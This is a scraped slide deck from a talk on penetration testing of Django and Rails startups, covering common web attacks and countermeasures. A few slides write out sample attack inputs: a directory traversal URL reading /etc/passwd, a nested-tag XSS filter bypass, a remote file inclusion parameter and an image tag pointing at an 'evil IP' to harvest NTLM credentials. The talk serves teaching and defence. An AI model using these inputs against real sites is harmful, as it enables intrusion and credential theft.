SlideShare a Scribd company logo
Pentestingfor startupsBy Levi Gross
Shameless self promotionI work at AxialMarketResearching computer security for 11 years.Pentesting for 8 yearsPython is my language of choice	Contact infoBlog: http://www.levigross.comlevi@levigross.com@levigross
DisclaimerThis talk is strictly for educational purposes. I am not responsible for any outcome of this talk.All images used in the subsequent slides are for informational purposes only and are owned by their respective copyright holders.
The cost of ignoranceDropboxGawkerSony
PythonDangerous modelsPickleCode executionurllibssl certsfile:// is validRedirects allow any file to be read (this was fixed in 2.7.2)XSS in Basic HTTPServerA wide open playgroundBut syntax is holyEasy to execute code on the host systemevalinputUnicode issuesC extensions
DjangoAuth FrameworkSession frameworkUses unique hashes Uses salted hashesCan use MD5 and crypt but will auto upgradeBasic global permission structurecache backend uses pickleDefault use of unicodeDefault URLSExceptions don’t propagate back to the userAutomatic variable escapeBuilt in CSRF protectionUnique hashesIn web forms as well as in the cookie
Ruby$SAFE isn’t really safeEven layer 4 can be bypassed by exceptionsPatched but still insecureSSL verification is disabled by defaultGlobal VariablesLanguage syntax isn’t holyEvalFileUtilsremove_entry_secureWEBrick issuesBuffer overflow in ARGF.inplace_mode= C extensions
RailsSecure session frameworkTry not to store data in cookiesRemember base64 is not a method of encryption.The database is your friendNo information should be put into cookies besides for the hashSigned cookiesRESTBasic permissionsDefault variable escapeEscaping SQL statements
Information DisclosureYour Parts are showing
General Information DisclosureJob sitesInternalExternalExceptions propagating to the end userShowing everyone what you are runningPost mortem blog postsGooglePastebinsComplaintsStack ExchangeGithubMailing listsAnomaliesForgotten password?Just ask…
And so the fun begins…File "/opt/python/domains/bitbucket.org/2011-01-05/bitbucket/../bitbucket/apps/bb/clogging.py", line 60, in wrap  return f(request, *args, **kwargs)File "/opt/python/domains/bitbucket.org/2011-01-05/bitbucket/../bitbucket/apps/bb/decorators.py", line 111, in wrap  return f(req, *a, **kwa)File "/opt/python/domains/bitbucket.org/2011-01-05/bitbucket/../bitbucket/apps/bb/views.py", line 211, in frontpage  newsfeed = load_from_store(request.user)File "/opt/python/domains/bitbucket.org/2011-01-05/bitbucket/../bitbucket/apps/bb/newsfeed.py", line 39, in load_from_store  if not r.exists(key):File "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 529, in exists  return self.execute_command('EXISTS', name)File "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 330, in execute_command  **optionsFile "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 309, in _execute_commandself.connection.send(command, self)File "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 82, in sendself.connect(redis_instance)File "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 67, in connect  redis_instance._setup_connection()File "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 424, in _setup_connectionself.execute_command('SELECT', self.connection.db)File "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 330, in execute_command  **optionsFile "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 312, in _execute_command  return self.parse_response(command_name, **options)File "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 390, in parse_response  response = self._parse_response(command_name, catch_errors)File "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 335, in _parse_response  response = conn.read()[:-2] # strip last two characters (\r\n)File "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 99, in read  return self._fp.readline()File "/opt/python/2.7/lib/python2.7/socket.py", line 445, in readline  data = self._sock.recv(self._rbufsize)
Pasting code into images
But wait there’s moreremote: Push worked, but post-receive failed: Connection reset by peerremote: /data/github/current/vendor/gems/ruby/1.8/gems/redis-2.2.0/lib/redis/client.rb:234:in `ensure_connected'remote: /data/github/current/vendor/gems/ruby/1.8/gems/redis-2.2.0/lib/redis/client.rb:114:in `process'remote: /data/github/current/vendor/gems/ruby/1.8/gems/redis-2.2.0/lib/redis/client.rb:183:in `logging'remote: /data/github/current/vendor/gems/ruby/1.8/gems/redis-2.2.0/lib/redis/client.rb:113:in `process'remote: /data/github/current/vendor/gems/ruby/1.8/gems/redis-2.2.0/lib/redis/client.rb:38:in `call'remote: /data/github/current/vendor/gems/ruby/1.8/gems/redis-2.2.0/lib/redis.rb:428:in `sadd'remote: /usr/lib/ruby/1.8/monitor.rb:242:in `synchronize'remote: /data/github/current/vendor/gems/ruby/1.8/gems/redis-2.2.0/lib/redis.rb:427:in `sadd'remote: /data/github/current/vendor/gems/ruby/1.8/gems/redis-namespace-0.8.0/lib/redis/namespace.rb:188:in `send'remote: /data/github/current/vendor/gems/ruby/1.8/gems/redis-namespace-0.8.0/lib/redis/namespace.rb:188:in `method_missing'remote: /data/github/current/vendor/gems/ruby/1.8/gems/resque-1.10.0/lib/resque.rb:184:in `watch_queue'remote: /data/github/current/vendor/gems/ruby/1.8/gems/resque-1.10.0/lib/resque.rb:129:in `push'remote: /data/github/current/vendor/gems/ruby/1.8/gems/resque-1.10.0/lib/resque/job.rb:51:in `create'remote: /data/github/current/lib/rock_queue.rb:58:in `enqueue'remote: /data/github/current/lib/rock_queue.rb:28:in `push'remote: hooks/post-receive:37
Not just code hosting sites
Django Information DisclosureUsing the default URLSDefault paths for mediaAdmin UrlsPutting DB fields in urlsURLS == ViewsSwitching GET and POSTDajaxCeleryPistonTemplate code in the html
Rails Information DisclosureUsing insecure gemsDon’t let exceptions propagate to a userRaw template code in the pageView logic written in JavascriptDefault URLSObject ID’s in the URL
CountermeasuresNever let exceptions propagate to end userDon’t paste your raw tracebacks directly into any public online location.Sanitize themEvery bit of information that is released can be used against you.Don’t rely on anything here for security
Build a profile of your targetBlackbox testingLook for patternsCorners cutStyle of code (html)Learn about the applicationLearn the problems/issues programmers face when dealing with these systemsGauge difficulty
Time to kick down the door
Session HijackingTCP sniffingFiresheepARP Poisoning
HTTP Sessions in Django & RailsDjangoEach session is a unique hash valueCookies can be read via javascriptPredictable cookie name ‘sessionid’Uses the pickle modelDefaults to an insecure cookieValues are stored in the session backendNo default cookie domainFile backend allows for reading on /tmp folderImmune to classic cookie poisoning RailsSigned cookiesDefault storage is to the cookie…
Session Hijacking in Django and RailsOnce you have the cookie you have the user….
Attack ScenariosTCP SniffingWiFiARP PoisoningThank you SSL for being uselessStealing cookies via a 3rd party siteWho needs passwords when you have sessions…
CountermeasuresGeneralCycle sessions when user authenticatesUse a cryptographic nonceDjangoMake sure you set the following settingsHTTP_ONLY (Only in 1.3) SECUREChange the cookie nameSerialize using JSON or YAMLRailsSign cookiesMake the cookies secure and HTTP onlyUse the DB to store session dataClear the sessions after login
XSS (Cross site scripting)Enables attackers to inject client-side script (html/JS) into web pages viewed by other users.
XSS in DjangoAuto escapes ‘<>&” with their “safe alternatives”ProblemsAny other unicode will bypass this checkIf items are not properly quoted you can still inject attributes into tagsOther special characters aren’t escaped ( )DesignersHate |safe and just use {% autoescape off %}
XSS in Rails 2.x Variables aren’t automatically escapedTags are stripped using the strip_tags method3.xAutomatic variable escapeUnless you use rawor some other function that doesn’t return safe outputAttackWhite lists are uselessselselectect <scri<script>pt>Sanitizing the HTML special characters has the same issue Django has.Tags that don’t sanitizeConcatenation will remove any escapingSanitizing doesn’t always work. AJAX still isn’t escaped
Attack ScenariosSteal user infoChange User settingsSteal an admin cookie and add yourself as an admin user.Execute code as an admin to add yourself as an admin user
CountermeasuresGeneralForce the browser to use UTF-8Never trust user inputDon’t use user input for HTML tag attributesTake a page out of the python zenIn the face of ambiguity, refuse the temptation to guess.DjangoUse the OWASP ESAPIIf you need stylingUse SanitizerslxmlbleachUse markdownUse whitelists not blacklistsRailsEscape all user inputbefore_filter :only => […] instead of :except => […]Use sanitizers
ClickjackingOverlaying the current website with an IFRAME.Tricking the user into clicking on certain elementsUser unknowingly performs action on the website he is logged into.
Attack ScenarioLure the user to your site.Add yourself as an admin userThe skies the limit
Frame bustingX-FRAME-OPTIONS DENYDisable IFRAME javascriptRestricted => IESandbox => ChromedesignMode in Firefox and SafariUse javascript to navigate back to prevent IFRAMES from opening your site.This is always being exploited so keep up with the latest exploits.Read More: https://www.owasp.org/index.php/Clickjacking
CSRFCross site request forgery
CSRF in DjangoBuilt in CSRF protectionKeep up to dateIn the form and the HTTP headers/CookieAttacksIt’s annoying so people turn it offOnly recently do they check AJAX requestUse subdomains
CSRF in RailsLike Django recently changedREST makes things harder…Stored in the cookieAttacksA XSS exploit renders this protection useless.Subdomains
Attack ScenarioAttacker uses XSS to inject code within admin site to exploit internal site CSRF issue<imgsrc=\\<evil IP> gives me your NTLM
Cookie PoisoningCookies are encodedBase64People never see them…. Lets store important informationAttacker canSubmit a malformed cookieSteal another users cookie
Cookie Poisoning in DjangoDjango defaults to it’s session backend which doesn’t do this.AttackPeople will still use request.COOKIESIssues with session backend
Cookie Poisoning in RailsRails allows you to shoot yourself in the foot.AttackStoring info in cookiesNot signing cookiesUsing cookies to manipulate view logic
Attack ScenarioPass malformed cookie back to the serverDDOSRemote code executionImpersonation
Counter MeasuresUse sticky sessionsDjangoUse session appUse a consistent session backendEscape and validate dataRailsSign your cookiesOnly use hashesNever trust the user
HTTP Parameter PoisoningInjecting invalid values into HTTP paramsDirectory Traversalhttp://someserver/somepage/?val=g&file=../../../../../../etc/passwdHTTP Response SplittingInjecting /r/n into fields splitting the response headersRemote file inclusion/myview?someparam=C:\\ftp\\upload\\exploitInvalid methodUsing a POST in place of a GET and vis a visReferrer poisoninghttp://someserver/somepage/?val=g&referrer=<myurl>
HTTP Parameter Poisoning in DjangoDjango is immune to Directory TraversalHTTP Response SplittingRemote file inclusionForms cleaned_data allows for value escapingAttacksSwitching GET and Post are not enforcedNot all HTTP Params are autoescaped by defaultCache and sessions use pickle
HTTP Parameter Poisoning in RailsBlind use of HTTP parametersInvalid file name checkingarbitrary file upload and executionXSSRemember use AJAXPrivilege escalationSQL Injection
Attack ScenariosRemote code execution via the cache/session layerAuthentication bypass by GET/POST switch.
Logic FlawsUnauthenticated viewsInformation leaksWeak or invalid permissionsevalPassing unsanitary input around
Exploiting Logic Flaws in Django &Rails	Django@login_requiredPermissions are globalObjects are serializedArbitrary input may have some exciting outcomesLogic manipulationdebug=TrueRemember in python nothing is sacredRailsexplicit authenticationexplicit permission checkingRuby syntax is extendable
SQL InjectionCookiesHTTP ParametersLogic FlawsXSS
SQL Injection in DjangoParameterized queriesLIKE queries are escapedAttacksWHERE is still injectablePeople use cursor.raw() all the timeCharacter escaping is always being brokenMore python unicode fun….
SQL Injection in RailsUses regular expression to “escape” valuesEven with parameterized queries *.connection.quoteVery easy to execute raw SQLwhereorder
Attack ScenariosInformation theftHosting malware or exploitsFull site exploitation
Counter MeasuresOnly use permissions that you needValidate and sanitize all input (twice cannot hurt)Encrypt sensitive data
Passwords in DjangoBrute force friendlySalted hashesGood but not perfectTiming attacksMitigation added in 1.3 but flawed due to pythons string internCompatible with older insecure hashesThe Achilles heel of any system
Passwords in RailsNo authenticationVery popularREST AuthenticationBlind use of params[:]Clear text passwords in the logsBrute force friendlySalted hashesGood but not perfectTiming attacks
What are timing attacksSide channel attacksLinear operationsThe dangerous binary comparison..
Countermeasures
AuthenticationOAUTHEveryone forgets to use SSLEven if you do your still opening yourself up to a Man In The Middle AttackBestWorst
Attack ScenariosCrack passwordSQL injectionBrute ForcePhishingDDOSNo SSL on OAuthEven with SSL still vulnerable to a Man In the Middle attackHave fun
CountermeasuresDual factor authenticationRate limit authentication logicMonitoringTough permission checksWhitelists/blacklistsCertificate authentication to verify the provider
Denial of Service in Django & Rails	Remember the GILNo rate limitingSwitching HTTP methodsPythonVirtual methods callsRubySlow method dispatch
Great another crazy guy screaming about the end of the world.Never rely on one thing alone.Ask yourself at every point of your application. “If someone penetrated until here what is stopping him?” Onion?Code defensivelyRemember that unknown variables will enter the equation and you have to account for them.Monitor everythingShow you careCreate a security pageMake sure to include a PGP keyCreate an incident response documentGive it a trial runRemember a good programmer looks both ways before crossing a one way street.
Recommended Reading	Generalhttps://www.owasp.orghttps://www.owasp.org/index.php/Top_10_2010-MainWriting Secure Code (by Microsoft Press)Hacking Exposed web applicationsThe Web Application Hacker's Handbookhttp://www.reddit.com/r/netsecDjangohttp://www.djangobook.com/en/2.0/chapter20/Railshttp://www.rorsecurity.info/http://groups.google.com/group/rubyonrails-securityToolshttp://www.metasploit.com/download/http://w3af.sourceforge.net/
Questions

More Related Content

PPT
Web App Testing With Selenium
PPT
Static Analysis: The Art of Fighting without Fighting
PPT
Filter Evasion: Houdini on the Wire
PDF
Defcon 17-joseph mccray-adv-sql_injection
PPT
Web Application Security and Release of "WhiteHat Arsenal"
PPT
How To Detect Xss
PPT
Jsp And Jdbc
PPTX
Web API Security
Web App Testing With Selenium
Static Analysis: The Art of Fighting without Fighting
Filter Evasion: Houdini on the Wire
Defcon 17-joseph mccray-adv-sql_injection
Web Application Security and Release of "WhiteHat Arsenal"
How To Detect Xss
Jsp And Jdbc
Web API Security

What's hot (20)

PPT
Advanced Topics On Sql Injection Protection
PPT
Php manish
PDF
Top 10 Security Vulnerabilities (2006)
PPTX
Beyond the Basics, Debugging with Firebug and Web Inspector
PDF
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
PPTX
Owasp Top 10 A1: Injection
PPT
General Principles of Web Security
PDF
Vulnerable Active Record: A tale of SQL Injection in PHP Framework
PDF
Intro to Php Security
PPT
Application Logging Good Bad Ugly ... Beautiful?
PDF
Secure by Design Microservices & Integrations
PDF
Static analysis for beginners
PDF
Advanced SQL Injection: Attacks
PDF
44CON London 2015 - 15-Minute Linux Incident Response Live Analysis
PPTX
Java exception handling
PPTX
Indicators of compromise: From malware analysis to eradication
PPTX
Advanced Malware Analysis Training Session 11 - (Part 2) Dissecting the Heart...
PPTX
How to drive a malware analyst crazy
PDF
Static Analysis of PHP Code – IPC Berlin 2016
Advanced Topics On Sql Injection Protection
Php manish
Top 10 Security Vulnerabilities (2006)
Beyond the Basics, Debugging with Firebug and Web Inspector
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
Owasp Top 10 A1: Injection
General Principles of Web Security
Vulnerable Active Record: A tale of SQL Injection in PHP Framework
Intro to Php Security
Application Logging Good Bad Ugly ... Beautiful?
Secure by Design Microservices & Integrations
Static analysis for beginners
Advanced SQL Injection: Attacks
44CON London 2015 - 15-Minute Linux Incident Response Live Analysis
Java exception handling
Indicators of compromise: From malware analysis to eradication
Advanced Malware Analysis Training Session 11 - (Part 2) Dissecting the Heart...
How to drive a malware analyst crazy
Static Analysis of PHP Code – IPC Berlin 2016
Ad

Similar to Pentesting for startups (20)

PDF
Shiny, Let’s Be Bad Guys: Exploiting and Mitigating the Top 10 Web App Vulner...
PDF
The net is dark and full of terrors - James Bennett
PDF
Dennis Byrne - Full Stack Python Security_ Cryptography, TLS, and attack resi...
PPTX
Django Web Application Security
PDF
Making Web Development "Secure By Default"
PPT
Django (Web Applications that are Secure by Default)
PDF
Rails Security
PDF
Web security 101
PDF
PPTX
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
PDF
Security Vulnerabilities: How to Defend Against Them
PDF
Full Stack Python Security Cryptography TLS And Attack Resistance 1st Edition...
PPTX
Case Study of Django: Web Frameworks that are Secure by Default
PDF
Ruby On Rails Security 9984
PDF
Rails Security
PPT
StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...
PDF
Ruby on Rails Security
PDF
Ruby on Rails Security
PDF
10 Rules for Safer Code [Odoo Experience 2016]
PDF
10 Rules for Safer Code
Shiny, Let’s Be Bad Guys: Exploiting and Mitigating the Top 10 Web App Vulner...
The net is dark and full of terrors - James Bennett
Dennis Byrne - Full Stack Python Security_ Cryptography, TLS, and attack resi...
Django Web Application Security
Making Web Development "Secure By Default"
Django (Web Applications that are Secure by Default)
Rails Security
Web security 101
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
Security Vulnerabilities: How to Defend Against Them
Full Stack Python Security Cryptography TLS And Attack Resistance 1st Edition...
Case Study of Django: Web Frameworks that are Secure by Default
Ruby On Rails Security 9984
Rails Security
StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...
Ruby on Rails Security
Ruby on Rails Security
10 Rules for Safer Code [Odoo Experience 2016]
10 Rules for Safer Code
Ad

Recently uploaded (20)

PPTX
Tartificialntelligence_presentation.pptx
PPTX
Programs and apps: productivity, graphics, security and other tools
PDF
Encapsulation_ Review paper, used for researhc scholars
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PDF
Mobile App Security Testing_ A Comprehensive Guide.pdf
PDF
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
PDF
Profit Center Accounting in SAP S/4HANA, S4F28 Col11
PDF
Network Security Unit 5.pdf for BCA BBA.
PPTX
SOPHOS-XG Firewall Administrator PPT.pptx
PDF
Getting Started with Data Integration: FME Form 101
PPTX
1. Introduction to Computer Programming.pptx
PPTX
cloud_computing_Infrastucture_as_cloud_p
PPTX
Digital-Transformation-Roadmap-for-Companies.pptx
PDF
Mushroom cultivation and it's methods.pdf
PDF
gpt5_lecture_notes_comprehensive_20250812015547.pdf
PDF
A comparative analysis of optical character recognition models for extracting...
PPTX
A Presentation on Artificial Intelligence
PDF
Spectral efficient network and resource selection model in 5G networks
PDF
Agricultural_Statistics_at_a_Glance_2022_0.pdf
PDF
Reach Out and Touch Someone: Haptics and Empathic Computing
Tartificialntelligence_presentation.pptx
Programs and apps: productivity, graphics, security and other tools
Encapsulation_ Review paper, used for researhc scholars
Building Integrated photovoltaic BIPV_UPV.pdf
Mobile App Security Testing_ A Comprehensive Guide.pdf
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
Profit Center Accounting in SAP S/4HANA, S4F28 Col11
Network Security Unit 5.pdf for BCA BBA.
SOPHOS-XG Firewall Administrator PPT.pptx
Getting Started with Data Integration: FME Form 101
1. Introduction to Computer Programming.pptx
cloud_computing_Infrastucture_as_cloud_p
Digital-Transformation-Roadmap-for-Companies.pptx
Mushroom cultivation and it's methods.pdf
gpt5_lecture_notes_comprehensive_20250812015547.pdf
A comparative analysis of optical character recognition models for extracting...
A Presentation on Artificial Intelligence
Spectral efficient network and resource selection model in 5G networks
Agricultural_Statistics_at_a_Glance_2022_0.pdf
Reach Out and Touch Someone: Haptics and Empathic Computing

Pentesting for startups

  • 2. Shameless self promotionI work at AxialMarketResearching computer security for 11 years.Pentesting for 8 yearsPython is my language of choice Contact infoBlog: http://www.levigross.comlevi@levigross.com@levigross
  • 3. DisclaimerThis talk is strictly for educational purposes. I am not responsible for any outcome of this talk.All images used in the subsequent slides are for informational purposes only and are owned by their respective copyright holders.
  • 4. The cost of ignoranceDropboxGawkerSony
  • 5. PythonDangerous modelsPickleCode executionurllibssl certsfile:// is validRedirects allow any file to be read (this was fixed in 2.7.2)XSS in Basic HTTPServerA wide open playgroundBut syntax is holyEasy to execute code on the host systemevalinputUnicode issuesC extensions
  • 6. DjangoAuth FrameworkSession frameworkUses unique hashes Uses salted hashesCan use MD5 and crypt but will auto upgradeBasic global permission structurecache backend uses pickleDefault use of unicodeDefault URLSExceptions don’t propagate back to the userAutomatic variable escapeBuilt in CSRF protectionUnique hashesIn web forms as well as in the cookie
  • 7. Ruby$SAFE isn’t really safeEven layer 4 can be bypassed by exceptionsPatched but still insecureSSL verification is disabled by defaultGlobal VariablesLanguage syntax isn’t holyEvalFileUtilsremove_entry_secureWEBrick issuesBuffer overflow in ARGF.inplace_mode= C extensions
  • 8. RailsSecure session frameworkTry not to store data in cookiesRemember base64 is not a method of encryption.The database is your friendNo information should be put into cookies besides for the hashSigned cookiesRESTBasic permissionsDefault variable escapeEscaping SQL statements
  • 10. General Information DisclosureJob sitesInternalExternalExceptions propagating to the end userShowing everyone what you are runningPost mortem blog postsGooglePastebinsComplaintsStack ExchangeGithubMailing listsAnomaliesForgotten password?Just ask…
  • 11. And so the fun begins…File "/opt/python/domains/bitbucket.org/2011-01-05/bitbucket/../bitbucket/apps/bb/clogging.py", line 60, in wrap return f(request, *args, **kwargs)File "/opt/python/domains/bitbucket.org/2011-01-05/bitbucket/../bitbucket/apps/bb/decorators.py", line 111, in wrap return f(req, *a, **kwa)File "/opt/python/domains/bitbucket.org/2011-01-05/bitbucket/../bitbucket/apps/bb/views.py", line 211, in frontpage newsfeed = load_from_store(request.user)File "/opt/python/domains/bitbucket.org/2011-01-05/bitbucket/../bitbucket/apps/bb/newsfeed.py", line 39, in load_from_store if not r.exists(key):File "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 529, in exists return self.execute_command('EXISTS', name)File "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 330, in execute_command **optionsFile "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 309, in _execute_commandself.connection.send(command, self)File "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 82, in sendself.connect(redis_instance)File "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 67, in connect redis_instance._setup_connection()File "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 424, in _setup_connectionself.execute_command('SELECT', self.connection.db)File "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 330, in execute_command **optionsFile "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 312, in _execute_command return self.parse_response(command_name, **options)File "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 390, in parse_response response = self._parse_response(command_name, catch_errors)File "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 335, in _parse_response response = conn.read()[:-2] # strip last two characters (\r\n)File "/opt/python/domains/bitbucket.org/current/bitbucket/local/env/lib/python2.7/site-packages/redis/client.py", line 99, in read return self._fp.readline()File "/opt/python/2.7/lib/python2.7/socket.py", line 445, in readline data = self._sock.recv(self._rbufsize)
  • 13. But wait there’s moreremote: Push worked, but post-receive failed: Connection reset by peerremote: /data/github/current/vendor/gems/ruby/1.8/gems/redis-2.2.0/lib/redis/client.rb:234:in `ensure_connected'remote: /data/github/current/vendor/gems/ruby/1.8/gems/redis-2.2.0/lib/redis/client.rb:114:in `process'remote: /data/github/current/vendor/gems/ruby/1.8/gems/redis-2.2.0/lib/redis/client.rb:183:in `logging'remote: /data/github/current/vendor/gems/ruby/1.8/gems/redis-2.2.0/lib/redis/client.rb:113:in `process'remote: /data/github/current/vendor/gems/ruby/1.8/gems/redis-2.2.0/lib/redis/client.rb:38:in `call'remote: /data/github/current/vendor/gems/ruby/1.8/gems/redis-2.2.0/lib/redis.rb:428:in `sadd'remote: /usr/lib/ruby/1.8/monitor.rb:242:in `synchronize'remote: /data/github/current/vendor/gems/ruby/1.8/gems/redis-2.2.0/lib/redis.rb:427:in `sadd'remote: /data/github/current/vendor/gems/ruby/1.8/gems/redis-namespace-0.8.0/lib/redis/namespace.rb:188:in `send'remote: /data/github/current/vendor/gems/ruby/1.8/gems/redis-namespace-0.8.0/lib/redis/namespace.rb:188:in `method_missing'remote: /data/github/current/vendor/gems/ruby/1.8/gems/resque-1.10.0/lib/resque.rb:184:in `watch_queue'remote: /data/github/current/vendor/gems/ruby/1.8/gems/resque-1.10.0/lib/resque.rb:129:in `push'remote: /data/github/current/vendor/gems/ruby/1.8/gems/resque-1.10.0/lib/resque/job.rb:51:in `create'remote: /data/github/current/lib/rock_queue.rb:58:in `enqueue'remote: /data/github/current/lib/rock_queue.rb:28:in `push'remote: hooks/post-receive:37
  • 14. Not just code hosting sites
  • 15. Django Information DisclosureUsing the default URLSDefault paths for mediaAdmin UrlsPutting DB fields in urlsURLS == ViewsSwitching GET and POSTDajaxCeleryPistonTemplate code in the html
  • 16. Rails Information DisclosureUsing insecure gemsDon’t let exceptions propagate to a userRaw template code in the pageView logic written in JavascriptDefault URLSObject ID’s in the URL
  • 17. CountermeasuresNever let exceptions propagate to end userDon’t paste your raw tracebacks directly into any public online location.Sanitize themEvery bit of information that is released can be used against you.Don’t rely on anything here for security
  • 18. Build a profile of your targetBlackbox testingLook for patternsCorners cutStyle of code (html)Learn about the applicationLearn the problems/issues programmers face when dealing with these systemsGauge difficulty
  • 19. Time to kick down the door
  • 21. HTTP Sessions in Django & RailsDjangoEach session is a unique hash valueCookies can be read via javascriptPredictable cookie name ‘sessionid’Uses the pickle modelDefaults to an insecure cookieValues are stored in the session backendNo default cookie domainFile backend allows for reading on /tmp folderImmune to classic cookie poisoning RailsSigned cookiesDefault storage is to the cookie…
  • 22. Session Hijacking in Django and RailsOnce you have the cookie you have the user….
  • 23. Attack ScenariosTCP SniffingWiFiARP PoisoningThank you SSL for being uselessStealing cookies via a 3rd party siteWho needs passwords when you have sessions…
  • 24. CountermeasuresGeneralCycle sessions when user authenticatesUse a cryptographic nonceDjangoMake sure you set the following settingsHTTP_ONLY (Only in 1.3) SECUREChange the cookie nameSerialize using JSON or YAMLRailsSign cookiesMake the cookies secure and HTTP onlyUse the DB to store session dataClear the sessions after login
  • 25. XSS (Cross site scripting)Enables attackers to inject client-side script (html/JS) into web pages viewed by other users.
  • 26. XSS in DjangoAuto escapes ‘<>&” with their “safe alternatives”ProblemsAny other unicode will bypass this checkIf items are not properly quoted you can still inject attributes into tagsOther special characters aren’t escaped ( )DesignersHate |safe and just use {% autoescape off %}
  • 27. XSS in Rails 2.x Variables aren’t automatically escapedTags are stripped using the strip_tags method3.xAutomatic variable escapeUnless you use rawor some other function that doesn’t return safe outputAttackWhite lists are uselessselselectect <scri<script>pt>Sanitizing the HTML special characters has the same issue Django has.Tags that don’t sanitizeConcatenation will remove any escapingSanitizing doesn’t always work. AJAX still isn’t escaped
  • 28. Attack ScenariosSteal user infoChange User settingsSteal an admin cookie and add yourself as an admin user.Execute code as an admin to add yourself as an admin user
  • 29. CountermeasuresGeneralForce the browser to use UTF-8Never trust user inputDon’t use user input for HTML tag attributesTake a page out of the python zenIn the face of ambiguity, refuse the temptation to guess.DjangoUse the OWASP ESAPIIf you need stylingUse SanitizerslxmlbleachUse markdownUse whitelists not blacklistsRailsEscape all user inputbefore_filter :only => […] instead of :except => […]Use sanitizers
  • 30. ClickjackingOverlaying the current website with an IFRAME.Tricking the user into clicking on certain elementsUser unknowingly performs action on the website he is logged into.
  • 31. Attack ScenarioLure the user to your site.Add yourself as an admin userThe skies the limit
  • 32. Frame bustingX-FRAME-OPTIONS DENYDisable IFRAME javascriptRestricted => IESandbox => ChromedesignMode in Firefox and SafariUse javascript to navigate back to prevent IFRAMES from opening your site.This is always being exploited so keep up with the latest exploits.Read More: https://www.owasp.org/index.php/Clickjacking
  • 34. CSRF in DjangoBuilt in CSRF protectionKeep up to dateIn the form and the HTTP headers/CookieAttacksIt’s annoying so people turn it offOnly recently do they check AJAX requestUse subdomains
  • 35. CSRF in RailsLike Django recently changedREST makes things harder…Stored in the cookieAttacksA XSS exploit renders this protection useless.Subdomains
  • 36. Attack ScenarioAttacker uses XSS to inject code within admin site to exploit internal site CSRF issue<imgsrc=\\<evil IP> gives me your NTLM
  • 37. Cookie PoisoningCookies are encodedBase64People never see them…. Lets store important informationAttacker canSubmit a malformed cookieSteal another users cookie
  • 38. Cookie Poisoning in DjangoDjango defaults to it’s session backend which doesn’t do this.AttackPeople will still use request.COOKIESIssues with session backend
  • 39. Cookie Poisoning in RailsRails allows you to shoot yourself in the foot.AttackStoring info in cookiesNot signing cookiesUsing cookies to manipulate view logic
  • 40. Attack ScenarioPass malformed cookie back to the serverDDOSRemote code executionImpersonation
  • 41. Counter MeasuresUse sticky sessionsDjangoUse session appUse a consistent session backendEscape and validate dataRailsSign your cookiesOnly use hashesNever trust the user
  • 42. HTTP Parameter PoisoningInjecting invalid values into HTTP paramsDirectory Traversalhttp://someserver/somepage/?val=g&file=../../../../../../etc/passwdHTTP Response SplittingInjecting /r/n into fields splitting the response headersRemote file inclusion/myview?someparam=C:\\ftp\\upload\\exploitInvalid methodUsing a POST in place of a GET and vis a visReferrer poisoninghttp://someserver/somepage/?val=g&referrer=<myurl>
  • 43. HTTP Parameter Poisoning in DjangoDjango is immune to Directory TraversalHTTP Response SplittingRemote file inclusionForms cleaned_data allows for value escapingAttacksSwitching GET and Post are not enforcedNot all HTTP Params are autoescaped by defaultCache and sessions use pickle
  • 44. HTTP Parameter Poisoning in RailsBlind use of HTTP parametersInvalid file name checkingarbitrary file upload and executionXSSRemember use AJAXPrivilege escalationSQL Injection
  • 45. Attack ScenariosRemote code execution via the cache/session layerAuthentication bypass by GET/POST switch.
  • 46. Logic FlawsUnauthenticated viewsInformation leaksWeak or invalid permissionsevalPassing unsanitary input around
  • 47. Exploiting Logic Flaws in Django &Rails Django@login_requiredPermissions are globalObjects are serializedArbitrary input may have some exciting outcomesLogic manipulationdebug=TrueRemember in python nothing is sacredRailsexplicit authenticationexplicit permission checkingRuby syntax is extendable
